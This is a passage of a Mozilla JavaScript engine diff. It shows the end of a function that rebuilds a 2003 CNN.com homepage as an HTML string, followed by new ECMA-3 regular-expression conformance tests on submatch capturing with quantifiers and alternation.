+ s += ' </td>';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" width="10" hspace="0" vspace="0" alt=""></td>';
+ s += ' <td valign="top">';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' ';
+ s += '<table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="173" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>WATCH CNN TV</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="69" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/CNN/Programs/"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/tv.schedule.gif" alt="On CNN TV" border="0" width="65" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td><a href="/CNN/Programs/american.morning/"><img src="http://i.cnn.net/cnn/CNN/Programs/includes/showbox/images/2003/05/tz.hemmer.jpg" alt="American Morning, 7 a.m. ET" width="65" height="49" border="0" align="right"></a><a href="/CNN/Programs/american.morning/"><b>American Morning (7 a.m. ET):</b></a> Tomorrow, singer Carnie Wilson talks about her new book, "Im Still Hungry."';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<!--';
+ s += '[[table width="267" border="0" cellpadding="0" cellspacing="0"]]';
+ s += '[[tr]][[td width="173" bgcolor="#003366"]][[div class="cnnBlueBoxHeader"]][[span class="cnnBigPrint"]][[b]]WATCH CNN TV[[/b]][[/span]][[/div]][[/td]][[td width="25" class="cnnBlueBoxHeader" align="right"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""]][[/td]][[td width="69" class="cnnBlueBoxTab" align="right" bgcolor="#336699"]][[a href="/CNN/Programs/"]][[img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/tv.schedule.gif" alt="On CNN TV" border="0" width="65" height="11" hspace="2" vspace="2" align="right"]][[/a]][[/td]][[/tr]][[/table]][[table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0"]][[tr valign="top"]][[td]]';
+ s += '[[img src="http://i.cnn.net/cnn/2003/images/05/31/tz.bw.jpg" alt="" width="65" height="49" border="0" align="right"]]';
+ s += ' ';
+ s += '[[b]] CNN Presents: The Hunt for Eric Robert Rudolph (8 p.m. ET)[[/b]][[br]]Latest on his capture.';
+ s += ' [[/td]]';
+ s += ' [[/tr]]';
+ s += ' [[/table]]';
+ s += '-->';
+ s += '';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div> ';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' <table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="184" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>ANALYSIS</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="58" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/US"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/us.gif" alt="U.S. News" border="0" width="54" height="11" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <table width="267" bgcolor="#EEEEEE" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += '<a href="/2003/US/06/12/nyt.safire/index.html"><img src="http://i.a.cnn.net/cnn/2003/US/06/12/nyt.safire/tz.stewart.jpg" alt="Fight It, Martha" width="65" height="49" border="0" align="right"></a>';
+ s += '';
+ s += '';
+ s += '<span class="cnnBodyText" style="font-weight:bold;color:#000;">NYTimes: </span> <a href="/2003/US/06/12/nyt.safire/index.html">Fight It, Martha</a><br>';
+ s += 'William Safire: I hope Martha Stewart beats this bum rap';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += ' <div><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_c00.gif" alt="" width="267" height="2"></div>';
+ s += ' <table width="267" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="164" bgcolor="#003366"><div class="cnnBlueBoxHeader"><span class="cnnBigPrint"><b>OFFBEAT</b></span></div></td>';
+ s += ' <td width="25" class="cnnBlueBoxHeader" align="right"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/diagonal.gif" width="25" height="19" alt=""></td>';
+ s += ' <td width="78" class="cnnBlueBoxTab" align="right" bgcolor="#336699"><a href="/offbeat"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/superlinks/offbeat.gif" alt="more offbeat" width="74" height="11" border="0" hspace="2" vspace="2" align="right"></a></td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <table width="267" bgcolor="#DDDDDD" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top">';
+ s += ' <td>';
+ s += '<a href="/2003/HEALTH/06/12/offbeat.china.sperm.ap/index.html"><img src="http://i.a.cnn.net/cnn/2003/HEALTH/06/12/offbeat.china.sperm.ap/tz.china.sperm.jpg" alt="Waiting list" width="65" height="49" border="0" align="right"></a>';
+ s += ' ';
+ s += ' <a href="/2003/HEALTH/06/12/offbeat.china.sperm.ap/index.html">Waiting list</a><br>';
+ s += 'Chinas "smart sperm" bank needs donors';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="10"></div>';
+ s += '';
+ s += ' <table width="267" bgcolor="#999999" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td>';
+ s += ' <table width="100%" border="0" cellpadding="4" cellspacing="1">';
+ s += ' <tr>';
+ s += ' <td bgcolor="#EEEEEE" class="cnnMainWeatherBox"><a name="weatherBox"></a>';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '';
+ s += '<table width="257" border="0" cellpadding="1" cellspacing="0">';
+ s += '<form method="get" action="http://weather.cnn.com/weather/search" style="margin: 0px">';
+ s += '<input type="hidden" name="mode" value="hplwp">';
+ s += ' <tr>';
+ s += ' <td bgcolor="#FFFFFF"><table width="255" bgcolor="#EAEFF4" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td colspan="2" class="cnnWEATHERrow">&nbsp;<span class="cnnBigPrint">WEATHER</span></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="2" class="cnnBodyText">Get your hometown weather on the home page! <b>Enter city name or U.S. Zip Code:</b></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td><input class="cnnFormText" type="text" size="12" name="wsearch" value="" style="width:100px;"></td>';
+ s += ' <td><input class="cnnNavButton" type="submit" value="PERSONALIZE"></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td class="cnnBodyText" colspan="2">Or <a href="javascript:CNN_openPopup("http://weather.cnn.com/weather/select.popup/content2.jsp?mode=hplwp", "weather", "toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=260,height=250")"><b>select location from a list</b></a></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' </tr>';
+ s += '</form>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td bgcolor="#EEEEEE">';
+ s += ' <table width="100%" border="0" cellpadding="0" cellspacing="2">';
+ s += ' <tr>';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/quickvote.gif" alt="Quick Vote" width="107" height="24" border="0"></td>';
+ s += ' <td width="88" align="right"><!-- ad home/quickvote/sponsor.88x31 -->';
+ s += '<!-- ad commented while aol investigates 3/31/03 5:40 a.m. lk -->';
+ s += '<a href="http://ar.atwola.com/link/93101912/aol"><img src="http://ar.atwola.com/image/93101912/aol" alt="Click Here" width="88" height="31" border="0" hspace="0" vspace="0"></a>';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += '<table width="100%" cellspacing="0" cellpadding="1" border="0"><form target="popuppoll" method="post" action="http://polls.cnn.com/poll">';
+ s += '<INPUT TYPE=HIDDEN NAME="poll_id" VALUE="3966">';
+ s += '<tr><td colspan="2" align="left"><span class="cnnBodyText">Should an international peacekeeping force be sent to the Mideast?<br></span></td></tr>';
+ s += '<tr valign="top">';
+ s += '<td><span class="cnnBodyText">Yes</span>';
+ s += '</td><td align="right"><input value="1" type="radio" name="question_1"></td></tr>';
+ s += '<tr valign="top">';
+ s += '<td><span class="cnnBodyText">No</span>';
+ s += '</td><td align="right"><input value="2" type="radio" name="question_1"></td></tr>';
+ s += '<!-- /end Question 1 -->';
+ s += '<tr>';
+ s += '<td colspan="2">';
+ s += '<table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td><span class="cnnInterfaceLink"><nobr><a href="javascript:CNN_openPopup("/POLLSERVER/results/3966.html","popuppoll","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=510,height=400")">VIEW RESULTS</a></nobr></span></td>';
+ s += '<td align="right"><input class="cnnFormButton" onclick="CNN_openPopup("","popuppoll","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=510,height=400")" value="VOTE" type="SUBMIT"></td></tr></table></td></tr>';
+ s += '</form></table>';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += ' </td>';
+ s += ' </tr>';
+ s += ' </table>';
+ s += ' <!-- /right --></td>';
+ s += ' </tr>';
+ s += ' <tr>';
+ s += ' <td colspan="3" valign="bottom"> <img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/px_ccc.gif" alt="" width="483" height="1"> </td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0" summary="Links to stories from CNN partners">';
+ s += ' <col width="10">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <col width="5">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <col width="5">';
+ s += ' <col width="250" align="left" valign="top">';
+ s += ' <tr><td colspan="6"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td rowspan="6" width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="1"></td>';
+ s += ' <td colspan="3"><span class="cnnMenuText" style="font-size: 12px"><b style="color: #c00">From our Partners</b></span>';
+ s += ' <img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/icon_external.gif" alt=" External site icon " width="20" height="13" border="0" align="middle"></td>';
+ s += ' <td colspan="2"></td>';
+ s += ' </tr>';
+ s += ' <tr><td colspan="5"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr><td colspan="5" bgcolor="#CCCCCC"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr>';
+ s += ' <tr><td colspan="5"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></td></tr>';
+ s += ' <tr valign="top">';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/time/" target="new"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partner_time.gif" alt="Time: " width="70" height="17" border="0"></a><br><div style="margin-top: 4px"> &#8226;&nbsp;<a target="new" href="/time/magazine/article/0,9171,1101030616-457387,00.html?CNN=yes">Where the Jobs Are</a><br> &#8226;&nbsp;<a target="new" href="/time/magazine/article/0,9171,1101030616-457373,00.html?CNN=yes">Of Dogs and Men</a><br> &#8226;&nbsp;<a target="new" href="/time/photoessays/gunmen/?CNN=yes">Photo Essay: Fighting the Peace</a><br></div><table border="0"><tr><td><img height="1" width="1" alt="" src="http://i.cnn.net/cnn/images/1.gif"/></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a target="new" href="/linkto/time.main.html">Subscribe to TIME</a>&nbsp;&nbsp;</td></tr></table> </td>';
+ s += ' <td width="5"><br></td>';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/cnnsi/index.html?cnn=yes"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partner_si.gif" alt="CNNsi.com: " width="138" height="17" border="0"></a><br><div style="margin-top: 4px">';
+ s += '&#8226;&nbsp;Marty Burns: <a target="new" href="/cnnsi/inside_game/marty_burns/news/2003/06/11/burns_game4/">Nets pull out all stops</a><br>';
+ s += '&#8226;&nbsp;Michael Farber: <a target="new" href="/cnnsi/inside_game/michael_farber/news/2003/06/11/farber_wrapup/">Sens look good for "04</a><br>';
+ s += '&#8226;&nbsp;Tim Layden: <a target="new" href="/cnnsi/inside_game/tim_layden/news/2003/06/11/layden_neuheisel/">NFL or bust for Neuheisel</a><br>';
+ s += '</div>';
+ s += '<table border="0"><tr><td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a href="http://subs.timeinc.net/CampaignHandler/si_cnnsi?source_id=19">Subscribe to Sports Illustrated</a>&nbsp;&nbsp;</td></tr></table>';
+ s += ' </td>';
+ s += ' <td width="5"><br></td>';
+ s += ' <td class="cnnMainSections" width="250">';
+ s += '<a href="/linkto/nyt/main.banner.html" target="new"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/partners_nyt.gif" alt="New York Times: " width="105" height="17" border="0"></a><br><div style="margin-top: 4px"> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/1.0612.html">U.S. Widens Checks at Foreign Ports</a><br> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/2.0612.html">Rumsfeld: Iran Developing Nuclear Arms</a><br> &#8226;&nbsp;<a target="new" href="/linkto/nyt/story/3.0612.html">Vandalism, "Improvements" Mar Great Wall</a><br></div><table border="0"><tr><td><img height="1" width="1" alt="" src="http://i.cnn.net/cnn/images/1.gif"/></td></tr><tr bgcolor="#dddddd"><td>&nbsp;&nbsp;<a target="new" href="/linkto/nyt.main.html">Get 50% OFF the NY Times</a>&nbsp;&nbsp;</td></tr></table> </td>';
+ s += ' </tr>';
+ s += '';
+ s += '</table>';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="2"></div>';
+ s += '';
+ s += '<table width="770" border="0" cellpadding="0" cellspacing="0">';
+ s += ' <tr>';
+ s += ' <td width="10"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="10" height="10"></td>';
+ s += ' <td width="760">';
+ s += '<!-- floor -->';
+ s += '';
+ s += '<table width="100%" border="0" cellpadding="0" cellspacing="0"><tr><td bgcolor="#999999"><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></td></tr></table>';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></div>';
+ s += '';
+ s += '<table width="100%" bgcolor="#DEDEDE" border="0" cellpadding="3" cellspacing="0">';
+ s += ' <tr> ';
+ s += ' <td><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="5" height="5"></td>';
+ s += ' <td><a href="http://edition.cnn.com/" class="cnnFormTextB" onClick="clickEdLink()" style="color:#000;">International Edition</a></td>';
+ s += '<form>';
+ s += ' <td><select title="CNN.com is available in different languages" class="cnnMenuText" name="languages" size="1" style="font-weight: bold; vertical-align: middle" onChange="if (this.options[selectedIndex].value != "") location.href=this.options[selectedIndex].value">';
+ s += ' <option value="" disabled selected>Languages</option>';
+ s += ' <option value="" disabled>---------</option>';
+ s += ' <option value="/cnnes/">Spanish</option>';
+ s += ' <option value="http://cnn.de/">German</option>';
+ s += ' <option value="http://cnnitalia.it/">Italian</option>';
+ s += ' <option value="http://www.joins.com/cnn/">Korean</option>';
+ s += ' <option value="http://arabic.cnn.com/">Arabic</option>';
+ s += ' <option value="http://www.CNN.co.jp/">Japanese</option>';
+ s += ' </select></td>';
+ s += '</form>';
+ s += ' <td><a href="/CNN/Programs/" class="cnnFormTextB" style="color:#000;">CNN TV</a></td>';
+ s += ' <td><a href="/CNNI/" class="cnnFormTextB" style="color:#000;">CNN International</a></td>';
+ s += ' <td><a href="/HLN/" class="cnnFormTextB" style="color:#000;">Headline News</a></td>';
+ s += ' <td><a href="/TRANSCRIPTS/" class="cnnFormTextB" style="color:#000;">Transcripts</a></td>';
+ s += ' <td><a href="/services/preferences/" title="Customize your CNN.com experience" class="cnnFormTextB" style="color:#000;">Preferences</a></td>';
+ s += ' <td><a href="/INDEX/about.us/" class="cnnFormTextB" style="color:#000;">About CNN.com</a></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<div><img src="http://i.cnn.net/cnn/images/1.gif" alt="" width="1" height="1"></div>';
+ s += '';
+ s += '<table width="100%" bgcolor="#EFEFEF" border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr valign="top"> ';
+ s += ' <td style="padding-left:10px"><div class="cnnSectCopyright">';
+ s += '<b>&copy; 2003 Cable News Network LP, LLLP.</b><br>';
+ s += 'An AOL Time Warner Company. All Rights Reserved.<br>';
+ s += '<a href="/interactive_legal.html">Terms</a> under which this service is provided to you.<br>';
+ s += 'Read our <a href="/privacy.html">privacy guidelines</a>. <a href="/feedback/">Contact us</a>.';
+ s += ' </div></td>';
+ s += ' <td align="right"><table border="0" cellpadding="4" cellspacing="0">';
+ s += ' <tr> ';
+ s += ' <td rowspan="2" align="middle"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/dotted.line.gif" alt="" width="7" height="46"></td>';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/misc/icon.external.links.gif" alt="external link" width="20" height="13"></td>';
+ s += ' <td><div class="cnnSectExtSites">All external sites will open in a new browser.<br>';
+ s += ' CNN.com does not endorse external sites.</div></td>';
+ s += ' <td rowspan="2" align="middle"><img src="http://i.a.cnn.net/cnn/.element/img/1.0/sect/SEARCH/dotted.line.gif" alt="" width="7" height="46"></td>';
+ s += ' <td rowspan="2"><!-- home/powered_by/sponsor.88x31 -->';
+ s += '<script language="JavaScript1.1">';
+ s += '<!--';
+ s += 'adSetTarget("_top");';
+ s += 'htmlAdWH( (new Array(93103308,93103308,93103308,93103308))[document.adoffset||0] , 88, 31);';
+ s += '//-->';
+ s += '</script><noscript><a href="http://ar.atwola.com/link/93103308/aol" target="_top"><img src="http://ar.atwola.com/image/93103308/aol" alt="Click here for our advertiser" width="88" height="31" border="0"></a></noscript>';
+ s += '</td>';
+ s += ' </tr>';
+ s += ' <tr valign="top"> ';
+ s += ' <td><img src="http://i.a.cnn.net/cnn/.element/img/1.0/main/icon_premium.gif" alt=" Premium content icon " width="9" height="11"></td>';
+ s += ' <td><span class="cnnSectExtSites">Denotes premium content.</span></td>';
+ s += ' </tr>';
+ s += ' </table></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '<!-- /floor --></td>';
+ s += ' </tr>';
+ s += '</table>';
+ s += '';
+ s += '';
+ s += '';
+ s += '<!-- popunder ad generic/popunder_launch.720x300 -->';
+ s += '<script language="JavaScript1.1" type="text/javascript">';
+ s += '<!--';
+ s += 'if (document.adPopupFile) {';
+ s += ' if (document.adPopupInterval == null) {';
+ s += ' document.adPopupInterval = "0";';
+ s += ' }';
+ s += ' if (document.adPopunderInterval == null) {';
+ s += ' document.adPopunderInterval = document.adPopupInterval;';
+ s += ' }';
+ s += ' if (document.adPopupDomain != null) {';
+ s += ' adSetPopDm(document.adPopupDomain);';
+ s += ' }';
+ s += ' adSetPopupWH("93162673", "720", "300", document.adPopupFile, document.adPopunderInterval, 20, 50, -1);';
+ s += '}';
+ s += '// -->';
+ s += '</script>';
+ s += ' ';
+ s += '<!-- home/bottom.eyeblaster -->';
+ s += '<script language="JavaScript1.1" type="text/javascript">';
+ s += '<!--';
+ s += 'var MacPPC = (navigator.platform == "MacPPC") ? true : false;';
+ s += 'if (!MacPPC) {';
+ s += 'adSetType("J");';
+ s += 'htmlAdWH( (new Array(93137910,93137910,93137910,93137910))[document.adoffset||0], 101, 1);';
+ s += 'adSetType("");';
+ s += '}';
+ s += '// -->';
+ s += '</script>';
+ s += '';
+ s += '<script language="JavaScript1.1" src="http://ar.atwola.com/file/adsEnd.js"></script>';
+ s += '';
+ s += '<img src="/cookie.crumb" alt="" width="1" height="1">';
+ s += '<!--include virtual="/virtual/2002/main/survey.html"-->';
+ s += '</body>';
+ s += '</html>';
+
+ return s;
+ }
diff --git a/js/src/tests/ecma_3/RegExp/regress-209919.js b/js/src/tests/ecma_3/RegExp/regress-209919.js
new file mode 100644
index 000000000..369b63df5
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-209919.js
@@ -0,0 +1,140 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 June 2003
+ * SUMMARY: Testing regexp submatches with quantifiers
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=209919
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 209919;
+var summary = 'Testing regexp submatches with quantifiers';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/*
+ * Waldemar: "ECMA-262 15.10.2.5, third algorithm, step 2.1 states that
+ * once the minimum repeat count (which is 0 for *, 1 for +, etc.) has
+ * been satisfied, an atom being repeated must not match the empty string."
+ *
+ * In this example, the minimum repeat count is 0, so the last thing the
+ * capturing parens is permitted to contain is the 'a'. It may NOT go on
+ * to capture the '' at the $ position of 'a', even though '' satifies
+ * the condition b*
+ *
+ */
+status = inSection(1);
+string = 'a';
+pattern = /(a|b*)*/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'a');
+addThis();
+
+
+/*
+ * In this example, the minimum repeat count is 5, so the capturing parens
+ * captures the 'a', then goes on to capture the '' at the $ position of 'a'
+ * 4 times before it has to stop. Therefore the last thing it contains is ''.
+ */
+status = inSection(2);
+string = 'a';
+pattern = /(a|b*){5,}/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '');
+addThis();
+
+
+/*
+ * Reduction of the above examples to contain only the condition b*
+ * inside the capturing parens. This can be even harder to grasp!
+ *
+ * The global match is the '' at the ^ position of 'a', but the parens
+ * is NOT permitted to capture it since the minimum repeat count is 0!
+ */
+status = inSection(3);
+string = 'a';
+pattern = /(b*)*/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', undefined);
+addThis();
+
+
+/*
+ * Here we have used the + quantifier (repeat count 1) outside the parens.
+ * Therefore the parens must capture at least once before stopping, so it
+ * does capture the '' this time -
+ */
+status = inSection(4);
+string = 'a';
+pattern = /(b*)+/;
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+
+/*
+ * More complex examples -
+ */
+pattern = /^\-?(\d{1,}|\.{0,})*(\,\d{1,})?$/;
+
+status = inSection(5);
+string = '100.00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '00', undefined);
+addThis();
+
+status = inSection(6);
+string = '100,00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '100', ',00');
+addThis();
+
+status = inSection(7);
+string = '1.000,00';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, '000', ',00');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-216591.js b/js/src/tests/ecma_3/RegExp/regress-216591.js
new file mode 100644
index 000000000..4c293559c
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-216591.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 August 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=216591
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 216591;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a {result.data.DATA} b';
+pattern = /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/i;
+actualmatch = string.match(pattern);
+expectedmatch = Array('{result.data.DATA}', 'result.data.', 'data.', 'DATA');
+addThis();
+
+/*
+ * Add a global flag to the regexp. In Perl 5, this gives the same results as above. Compare:
+ *
+ * [ ] perl -e '"a {result.data.DATA} b" =~ /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/i; print("$&, $1, $2, $3");'
+ * {result.data.DATA}, result.data., data., DATA
+ *
+ * [ ] perl -e '"a {result.data.DATA} b" =~ /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/gi; print("$&, $1, $2, $3");'
+ * {result.data.DATA}, result.data., data., DATA
+ *
+ *
+ * But in JavaScript, there will no longer be any sub-captures:
+ */
+status = inSection(2);
+string = 'a {result.data.DATA} b';
+pattern = /\{(([a-z0-9\-_]+?\.)+?)([a-z0-9\-_]+?)\}/gi;
+actualmatch = string.match(pattern);
+expectedmatch = Array('{result.data.DATA}');
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-220367-001.js b/js/src/tests/ecma_3/RegExp/regress-220367-001.js
new file mode 100644
index 000000000..05ef72106
--- /dev/null
+++ b/js/src/tests/ecma_3/RegExp/regress-220367-001.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 26 September 2003
+ * SUMMARY: Regexp conformance test
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220367
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 220367;
+var summary = 'Regexp conformance test';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+string = 'a';
+pattern = /(a)|(b)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'a', undefined);
+addThis();
+
+status = inSection(2);
+string = 'b';
+pattern = /(a)|(b)/;
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, undefined, 'b');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/RegExp/regress-223273.js b/js/src/tests/ecma_3/RegExp/regress-223273.js
new file mode 100644
index 000000000..0d88d1015
--- /dev/null
